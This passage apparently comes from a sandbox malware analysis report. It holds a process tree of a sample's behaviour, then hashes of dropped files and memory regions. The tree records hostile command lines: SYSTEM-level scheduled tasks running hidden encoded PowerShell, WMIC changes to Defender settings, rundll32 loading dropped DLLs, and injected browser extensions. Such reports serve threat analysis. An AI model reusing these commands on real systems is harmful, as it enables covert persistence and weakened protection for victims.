                                                                                                        schtasks /CREATE /TN "gUFbOeYUT" /SC once /ST 10:54:16 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                        2⤵
                                                                                                        • Creates scheduled task(s)
                                                                                                        PID:2796
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                        schtasks /run /I /tn "gUFbOeYUT"
                                                                                                        2⤵
                                                                                                          PID:2960
                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                          schtasks /DELETE /F /TN "gUFbOeYUT"
                                                                                                          2⤵
                                                                                                            PID:2028
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /CREATE /TN "aUYdFpynDtMaquqaO" /SC once /ST 13:57:33 /RU "SYSTEM" /TR "\"C:\Windows\Temp\lwSRcZKonRlOofsg\WtQmCBDEFrzsRrg\zxEzzCo.exe\" F0 /Ggsite_idYxJ 385118 /S" /V1 /F
                                                                                                            2⤵
                                                                                                            • Drops file in Windows directory
                                                                                                            • Creates scheduled task(s)
                                                                                                            PID:1440
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /run /I /tn "aUYdFpynDtMaquqaO"
                                                                                                            2⤵
                                                                                                              PID:5000
                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                            1⤵
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:696
                                                                                                            • C:\Windows\system32\gpupdate.exe
                                                                                                              "C:\Windows\system32\gpupdate.exe" /force
                                                                                                              2⤵
                                                                                                                PID:4244
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                              1⤵
                                                                                                                PID:3528
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                1⤵
                                                                                                                  PID:812
                                                                                                                • C:\Windows\system32\gpscript.exe
                                                                                                                  gpscript.exe /RefreshSystemParam
                                                                                                                  1⤵
                                                                                                                    PID:1676
                                                                                                                  • C:\Windows\Temp\lwSRcZKonRlOofsg\WtQmCBDEFrzsRrg\zxEzzCo.exe
                                                                                                                    C:\Windows\Temp\lwSRcZKonRlOofsg\WtQmCBDEFrzsRrg\zxEzzCo.exe F0 /Ggsite_idYxJ 385118 /S
                                                                                                                    1⤵
                                                                                                                    • Checks computer location settings
                                                                                                                    • Executes dropped EXE
                                                                                                                    • Drops Chrome extension
                                                                                                                    • Drops desktop.ini file(s)
                                                                                                                    • Drops file in System32 directory
                                                                                                                    • Drops file in Program Files directory
                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                    PID:4628
                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                      schtasks /DELETE /F /TN "bEcIFlOHxifjjBuFoU"
                                                                                                                      2⤵
                                                                                                                        PID:3364
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                        2⤵
                                                                                                                          PID:2084
                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                            forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                            3⤵
                                                                                                                              PID:4728
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                4⤵
                                                                                                                                  PID:1992
                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                    5⤵
                                                                                                                                    • Drops file in System32 directory
                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                    PID:2536
                                                                                                                                    • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                      "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                      6⤵
                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                      PID:4912
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\orRvbnhdU\cJnNzB.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "yozVwwMRZiDXbVH" /V1 /F
                                                                                                                              2⤵
                                                                                                                              • Drops file in Windows directory
                                                                                                                              • Creates scheduled task(s)
                                                                                                                              PID:3776
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /CREATE /TN "yozVwwMRZiDXbVH2" /F /xml "C:\Program Files (x86)\orRvbnhdU\BoIyvtW.xml" /RU "SYSTEM"
                                                                                                                              2⤵
                                                                                                                              • Creates scheduled task(s)
                                                                                                                              PID:1380
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /END /TN "yozVwwMRZiDXbVH"
                                                                                                                              2⤵
                                                                                                                                PID:1696
                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                schtasks /DELETE /F /TN "yozVwwMRZiDXbVH"
                                                                                                                                2⤵
                                                                                                                                  PID:4616
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "UQeOhhowVzyRxe" /F /xml "C:\Program Files (x86)\YrliKKkuhgWU2\vqoJCaF.xml" /RU "SYSTEM"
                                                                                                                                  2⤵
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:1948
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "URgAKlFGIJbNQ2" /F /xml "C:\ProgramData\qgjSpVnHOWlNdqVB\UTmTfNY.xml" /RU "SYSTEM"
                                                                                                                                  2⤵
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:4496
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "jnXffsNCSkeAQyNEq2" /F /xml "C:\Program Files (x86)\CxyVDACQkgMCyKCFbBR\dbotFoU.xml" /RU "SYSTEM"
                                                                                                                                  2⤵
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:768
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "KAKzgitjhEJqniBRVYG2" /F /xml "C:\Program Files (x86)\ycfBUKIjHxeOC\DSqYrZi.xml" /RU "SYSTEM"
                                                                                                                                  2⤵
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:4244
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "YGcJOiVocZfwUgdee" /SC once /ST 06:58:15 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\lwSRcZKonRlOofsg\ikuFnJEA\uKkhvGx.dll\",#1 /FIsite_idzJb 385118" /V1 /F
                                                                                                                                  2⤵
                                                                                                                                  • Drops file in Windows directory
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:4836
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /run /I /tn "YGcJOiVocZfwUgdee"
                                                                                                                                  2⤵
                                                                                                                                    PID:32
                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                    schtasks /DELETE /F /TN "aUYdFpynDtMaquqaO"
                                                                                                                                    2⤵
                                                                                                                                      PID:2776
                                                                                                                                  • C:\Windows\system32\rundll32.EXE
                                                                                                                                    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\lwSRcZKonRlOofsg\ikuFnJEA\uKkhvGx.dll",#1 /FIsite_idzJb 385118
                                                                                                                                    1⤵
                                                                                                                                      PID:4940
                                                                                                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                        C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\lwSRcZKonRlOofsg\ikuFnJEA\uKkhvGx.dll",#1 /FIsite_idzJb 385118
                                                                                                                                        2⤵
                                                                                                                                        • Blocklisted process makes network request
                                                                                                                                        • Checks BIOS information in registry
                                                                                                                                        • Loads dropped DLL
                                                                                                                                        • Enumerates system info in registry
                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                        PID:4948
                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                          schtasks /DELETE /F /TN "YGcJOiVocZfwUgdee"
                                                                                                                                          3⤵
                                                                                                                                            PID:5116

                                                                                                                                      Network

                                                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                                                      Replay Monitor

                                                                                                                                      Loading Replay Monitor...

                                                                                                                                      Downloads

                                                                                                                                      • C:\Program Files (x86)\CxyVDACQkgMCyKCFbBR\dbotFoU.xml

                                                                                                                                        Filesize

                                                                                                                                        2KB

                                                                                                                                        MD5

                                                                                                                                        ac468f310e3b41f01c4f5b01b5eb6ebd

                                                                                                                                        SHA1

                                                                                                                                        46b754310373f471d3416007f93625a36ada51cc

                                                                                                                                        SHA256

                                                                                                                                        fa0ba5ab1115cd219b12907d9d8371b76e6406ab592e2016a49e7006825531ef

                                                                                                                                        SHA512

                                                                                                                                        1d255cf9da83ea0784af636b1872edd860d6de44df6a8c2e6731ea01d89a6b7dace6c939e2a73d0a0bbdfcec52f8aab95e4afb3805c12be60d90051ebfb2d848

                                                                                                                                      • C:\Program Files (x86)\YrliKKkuhgWU2\vqoJCaF.xml

                                                                                                                                        Filesize

                                                                                                                                        2KB

                                                                                                                                        MD5

                                                                                                                                        24d95524410ce69f7d00cbb177e7063a

                                                                                                                                        SHA1

                                                                                                                                        0e3f50d0460d2e080de165e6cebec882b0ba8c66

                                                                                                                                        SHA256

                                                                                                                                        6ce6ff73a40b18b9a80b6f50f58737d2a086495f55f0e6be5c83975eea7a356b

                                                                                                                                        SHA512

                                                                                                                                        395b66a348a61a329967c04ccc588b2aac1ff2e629d372ae95f2bcf405978c17aada726137a2fdc55f70f86c7fca89c6359474cc01c5bdee25ce0469d18669dd

                                                                                                                                      • C:\Program Files (x86)\orRvbnhdU\BoIyvtW.xml

                                                                                                                                        Filesize

                                                                                                                                        2KB

                                                                                                                                        MD5

                                                                                                                                        ef079aaef1f906e42885bbc7d4d35de0

                                                                                                                                        SHA1

                                                                                                                                        72a4a1e024062fb94baf95a8a9369a21a7dd0ce6

                                                                                                                                        SHA256

                                                                                                                                        73f9e05dcb26f2e9091df88bfefb24d6c3ca93d8c1ca25ed3c17e25c7191ecf3

                                                                                                                                        SHA512

                                                                                                                                        31214f2d81c28e25030e19d355b13a004d82c4e9180b93c9775d268d5666f72591bc17f117c006f5632ebd713a107562c8df65feadc33084cf63db399c933b72

                                                                                                                                      • C:\Program Files (x86)\ycfBUKIjHxeOC\DSqYrZi.xml

                                                                                                                                        Filesize

                                                                                                                                        2KB

                                                                                                                                        MD5

                                                                                                                                        7ced44a4597f84a3465330016b6ae6c2

                                                                                                                                        SHA1

                                                                                                                                        f51191faa614fd36c966a581b57a184c9ccdeea7

                                                                                                                                        SHA256

                                                                                                                                        8506fcdf097b836180c54c6b67d1433cd48d0dbb9fd231b0929408e85bbe935d

                                                                                                                                        SHA512

                                                                                                                                        fa2c85423fd69d5c4e8fcacdfe8751d32cd1b147e3619272cbbf038584b8856a7fc5003503aeb4b74cffdbb1cd9cd4a794ea5b10ae077c8d8cf2f815921ce5c5

                                                                                                                                      • C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

                                                                                                                                        Filesize

                                                                                                                                        2.5MB

                                                                                                                                        MD5

                                                                                                                                        68ec4c9163e8df51afda69a05eac9b8a

                                                                                                                                        SHA1

                                                                                                                                        8d9094bfaf0669d7d40f31a839c3844720bfcc88

                                                                                                                                        SHA256

                                                                                                                                        33377d4dd62efc7a3bfb480d44b98008c9ffbe20cc102b70d9bf03e9028609c9

                                                                                                                                        SHA512

                                                                                                                                        4d52b0a351a078f32b7ef3e19420f86bc1b835a9b45bff354cfc625c88792d21db7f8d0898ab66cefb5ca6bab47478da275d34cf851c14acb6453cdb6edce573

                                                                                                                                      • C:\ProgramData\qgjSpVnHOWlNdqVB\UTmTfNY.xml

                                                                                                                                        Filesize

                                                                                                                                        2KB

                                                                                                                                        MD5

                                                                                                                                        d188cd4730ba590320b50f713f226c15

                                                                                                                                        SHA1

                                                                                                                                        54ead28d533e6f83caf4e67803a6df5122765f39

                                                                                                                                        SHA256

                                                                                                                                        b6a8fdea0faf9e3aee8d8b78bbdf72a32ca1487882337dffb1ca6998b04a2d12

                                                                                                                                        SHA512

                                                                                                                                        95c0e266a39cbec9a76676ee39073f11a317f7cbac0725d47bed95ea05f26883e1aaed1159be1714eaae613264cfc3dd369702d42c216e7b41e43ee13158b6b4

                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json

                                                                                                                                        Filesize

                                                                                                                                        187B

                                                                                                                                        MD5

                                                                                                                                        2a1e12a4811892d95962998e184399d8

                                                                                                                                        SHA1

                                                                                                                                        55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                                        SHA256

                                                                                                                                        32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                                        SHA512

                                                                                                                                        bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json

                                                                                                                                        Filesize

                                                                                                                                        136B

                                                                                                                                        MD5

                                                                                                                                        238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                                        SHA1

                                                                                                                                        0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                                        SHA256

                                                                                                                                        801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                                        SHA512

                                                                                                                                        2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json

                                                                                                                                        Filesize

                                                                                                                                        150B

                                                                                                                                        MD5

                                                                                                                                        0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                                        SHA1

                                                                                                                                        6a51537cef82143d3d768759b21598542d683904

                                                                                                                                        SHA256

                                                                                                                                        0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                                        SHA512

                                                                                                                                        5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                                                                                                                        Filesize

                                                                                                                                        10KB

                                                                                                                                        MD5

                                                                                                                                        71766891f1f2e0fea4dec97395dd444d

                                                                                                                                        SHA1

                                                                                                                                        a7e3c9f0721698f70b6287359c9ccbf646660435

                                                                                                                                        SHA256

                                                                                                                                        a2489f5e8f06027cbe8b8bc2d4ac6cd422358a782718b2b119c130bd116558a3

                                                                                                                                        SHA512

                                                                                                                                        f5a6c615c2b3046053a7cdb2a3ab02b8aa2af9839e4f922bfb8c8f66fa0abda6a3818a58e87d82ceeee3ef67c34673dcceb34409eb17980f2e0e0728f5c6918e

                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\geiolieogaichbpfhcannipendgnnbkn\1.0.1_0\_locales\es\messages.json

                                                                                                                                        Filesize

                                                                                                                                        151B

                                                                                                                                        MD5

                                                                                                                                        bd6b60b18aee6aaeb83b35c68fb48d88

                                                                                                                                        SHA1

                                                                                                                                        9b977a5fbf606d1104894e025e51ac28b56137c3

                                                                                                                                        SHA256

                                                                                                                                        b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55

                                                                                                                                        SHA512

                                                                                                                                        3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b

                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                                                                                        Filesize

                                                                                                                                        11KB

                                                                                                                                        MD5

                                                                                                                                        f7e4d801190784fab27905b5a1e7647c

                                                                                                                                        SHA1

                                                                                                                                        58d89d1529c012611d697ad8bc7c89b118ec890f

                                                                                                                                        SHA256

                                                                                                                                        985c2914e0ababa35f526951fdf1126f1a62151c230a2681a5bde10c395b0143

                                                                                                                                        SHA512

                                                                                                                                        351ada10a303c11a9ca44bbd474d7991efc28bb5aa840153a2d6c435a5f6f45e1d1b762ab037919def8b3c39de358018a2df67b0ab171533afbe6590144d1c00

                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                        Filesize

                                                                                                                                        11KB

                                                                                                                                        MD5

                                                                                                                                        903c54d0f62b7011825a451f5a81ede3

                                                                                                                                        SHA1

                                                                                                                                        066a02609a2f69af6cc2ec6e961392b6256c58cf

                                                                                                                                        SHA256

                                                                                                                                        ec18b54a6c89301b21d9cdfefb1a563fea05c0c40764308647d65f79436d1c86

                                                                                                                                        SHA512

                                                                                                                                        95ee65dd3d5df495cc7eb78cda883150138a38e0ec396c4a30e9659120301372ec4d2943eee5ce702d5a2c52f78e3368ccf51c671ab5bc472e2e4a82fe2004fb

                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS3DF3.tmp\Install.exe

                                                                                                                                        Filesize

                                                                                                                                        6.7MB

                                                                                                                                        MD5

                                                                                                                                        6248fde83e7929ff0561fd033b68d11c

                                                                                                                                        SHA1

                                                                                                                                        2ad27e8ca39e8717981c1ed451cbddcef1a8334c

                                                                                                                                        SHA256

                                                                                                                                        66959c9da38234dc5a24b2771036a50b47ec531c1bb0cdf7383952c6a6ccb884

                                                                                                                                        SHA512

                                                                                                                                        80bcb48b79563e92880f2d458f4d8f0ea95ba6319054ebc9559b76e108ca76da9d37e259635a1f727084741e2bfb13a9f93c0b5dbe1aaf720d652ea0165a3f33

                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4jmtjf35.to3.ps1

                                                                                                                                        Filesize

                                                                                                                                        60B

                                                                                                                                        MD5

                                                                                                                                        d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                        SHA1

                                                                                                                                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                        SHA256

                                                                                                                                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                        SHA512

                                                                                                                                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3e5zl51i.default-release\prefs.js

                                                                                                                                        Filesize

                                                                                                                                        6KB

                                                                                                                                        MD5

                                                                                                                                        b9d29e6b972000e5a0a8f23aa2b59474

                                                                                                                                        SHA1

                                                                                                                                        c8fc5f29e2f3e0b24effe96e34725bbdb63205c7

                                                                                                                                        SHA256

                                                                                                                                        ff995a3116e33ace0876cab389c16288acf9ae51e11c1951fabae69c9d4bb2a8

                                                                                                                                        SHA512

                                                                                                                                        5d48e156462a397eaa3d510f4c7030b396ac3936066ed1f612be92231b1d831ff9e0bde04af741b55f5ac13d9c34fd072b260b9b53a9e981c2bf39dd275b4991

                                                                                                                                      • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                        Filesize

                                                                                                                                        1KB

                                                                                                                                        MD5

                                                                                                                                        28854213fdaa59751b2b4cfe772289cc

                                                                                                                                        SHA1

                                                                                                                                        fa7058052780f4b856dc2d56b88163ed55deb6ab

                                                                                                                                        SHA256

                                                                                                                                        7c65fe71d47e0de69a15b95d1ee4b433c07a1d6f00f37dd32aee3666bb84a915

                                                                                                                                        SHA512

                                                                                                                                        1e2c928242bdef287b1e8afe8c37427cfd3b7a83c37d4e00e45bcbaa38c9b0bf96f869a062c9bc6bb58ecd36e687a69b21d5b07803e6615a9b632922c1c5ace4

                                                                                                                                      • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                        Filesize

                                                                                                                                        11KB

                                                                                                                                        MD5

                                                                                                                                        678449db0c19440d6e80f5b233fea5be

                                                                                                                                        SHA1

                                                                                                                                        57ac3f8e4db80d8980020252e8e412271c2157b6

                                                                                                                                        SHA256

                                                                                                                                        a58e6cbd6749cf00d2bd5d8f82ac5c89d2c3534f2e75a5f80bbf88e159e4fd25

                                                                                                                                        SHA512

                                                                                                                                        9d1864417c240930e65e2e00a84863e93681bb2e1dc0b65fa4e57d79c8c5906d7eb46e62e5b9d2b51046a69f56e31703c0ad9e9c6a0fc958df945ff7041d7baa

                                                                                                                                      • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                        Filesize

                                                                                                                                        11KB

                                                                                                                                        MD5

                                                                                                                                        8a6c3c61bbc81c19401654951e4ebed6

                                                                                                                                        SHA1

                                                                                                                                        d5dfe9c03d1c0dd76daa9fad7f78be758390700f

                                                                                                                                        SHA256

                                                                                                                                        ec4af60b0419302df816d665908de228c45716605d19065e0bd9471cb8b710d9

                                                                                                                                        SHA512

                                                                                                                                        8bd3ec9ebe2921eb01204d2bcb67da8c050519a3e19ffb1f23482570df3aae55cbe1a79938582f9d4edd4e63647571e0c19b0d99a7538f97a1002e14f22e65ad

                                                                                                                                      • C:\Windows\Temp\lwSRcZKonRlOofsg\ikuFnJEA\uKkhvGx.dll

                                                                                                                                        Filesize

                                                                                                                                        6.4MB

                                                                                                                                        MD5

                                                                                                                                        db0e0228f220bd8fa3b45a0043744456

                                                                                                                                        SHA1

                                                                                                                                        e287442ab5c21cab796c6893a34f0474820b6515

                                                                                                                                        SHA256

                                                                                                                                        9d17deafa6484b95a25345472c61bfbf7c510b4fafd2a52e7806db27ec4a6883

                                                                                                                                        SHA512

                                                                                                                                        a6d1aa8dc12f47ca1b9781264f02a4058287eb3bca0033ec9c3d3bd4adc9e3ac87c6bfcb361dc90ea40c056e0a9f29a28c7454afef5233a11c13c5c40d35f763

                                                                                                                                      • C:\Windows\system32\GroupPolicy\Machine\Registry.pol

                                                                                                                                        Filesize

                                                                                                                                        6KB

                                                                                                                                        MD5

                                                                                                                                        2eed991e6e31d306e68ef64d773d3e16

                                                                                                                                        SHA1

                                                                                                                                        27b5035255d679a7015d1a2e5bfcc5f124160689

                                                                                                                                        SHA256

                                                                                                                                        3b839645035f3ad69591e7e9db4967a695877782e57703ee61d64eeb11be7fa1

                                                                                                                                        SHA512

                                                                                                                                        d124006d52504010a7dd99599e58b026c28febe793e77609b6151152a7d3765cc52f3fec504680f7d9b08e183d3190858580c7035f9d95990292241535d40404

                                                                                                                                      • memory/544-34-0x0000000073240000-0x00000000739F0000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        7.7MB

                                                                                                                                      • memory/544-31-0x0000000005F20000-0x0000000005F6C000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        304KB

                                                                                                                                      • memory/544-30-0x0000000005ED0000-0x0000000005EEE000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        120KB

                                                                                                                                      • memory/544-29-0x00000000059D0000-0x0000000005D24000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        3.3MB

                                                                                                                                      • memory/544-19-0x0000000005830000-0x0000000005896000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        408KB

                                                                                                                                      • memory/544-18-0x00000000057C0000-0x0000000005826000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        408KB

                                                                                                                                      • memory/544-17-0x0000000004ED0000-0x0000000004EF2000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        136KB

                                                                                                                                      • memory/544-15-0x0000000000C80000-0x0000000000C90000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/544-16-0x0000000004FA0000-0x00000000055C8000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        6.2MB

                                                                                                                                      • memory/544-14-0x0000000000C80000-0x0000000000C90000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/544-12-0x0000000004930000-0x0000000004966000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        216KB

                                                                                                                                      • memory/544-13-0x0000000073240000-0x00000000739F0000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        7.7MB

                                                                                                                                      • memory/696-81-0x00000192FF880000-0x00000192FF8A2000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        136KB

                                                                                                                                      • memory/696-80-0x0000019299AF0000-0x0000019299B00000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/696-95-0x00007FFB19E30000-0x00007FFB1A8F1000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        10.8MB

                                                                                                                                      • memory/696-91-0x0000019299AF0000-0x0000019299B00000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/696-79-0x00007FFB19E30000-0x00007FFB1A8F1000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        10.8MB

                                                                                                                                      • memory/2536-118-0x0000000003C80000-0x0000000003C90000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/2536-165-0x0000000072F80000-0x0000000073730000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        7.7MB

                                                                                                                                      • memory/2536-160-0x00000000057F0000-0x000000000583C000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        304KB

                                                                                                                                      • memory/2536-122-0x0000000004C00000-0x0000000004F54000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        3.3MB

                                                                                                                                      • memory/2536-115-0x0000000072F80000-0x0000000073730000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        7.7MB

                                                                                                                                      • memory/3052-44-0x0000000073330000-0x0000000073AE0000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        7.7MB

                                                                                                                                      • memory/3052-60-0x0000000073330000-0x0000000073AE0000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        7.7MB

                                                                                                                                      • memory/3052-46-0x00000000036A0000-0x00000000036B0000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/3052-45-0x00000000036A0000-0x00000000036B0000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/3052-56-0x00000000047E0000-0x0000000004B34000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        3.3MB

                                                                                                                                      • memory/3052-57-0x0000000004C20000-0x0000000004C6C000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        304KB

                                                                                                                                      • memory/3208-38-0x0000000000E30000-0x00000000014EE000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        6.7MB

                                                                                                                                      • memory/3208-9-0x0000000010000000-0x00000000105D3000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        5.8MB

                                                                                                                                      • memory/3208-576-0x0000000000E30000-0x00000000014EE000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        6.7MB

                                                                                                                                      • memory/3208-8-0x0000000000E30000-0x00000000014EE000-memory.dmp

                                                                                                                                        Filesize

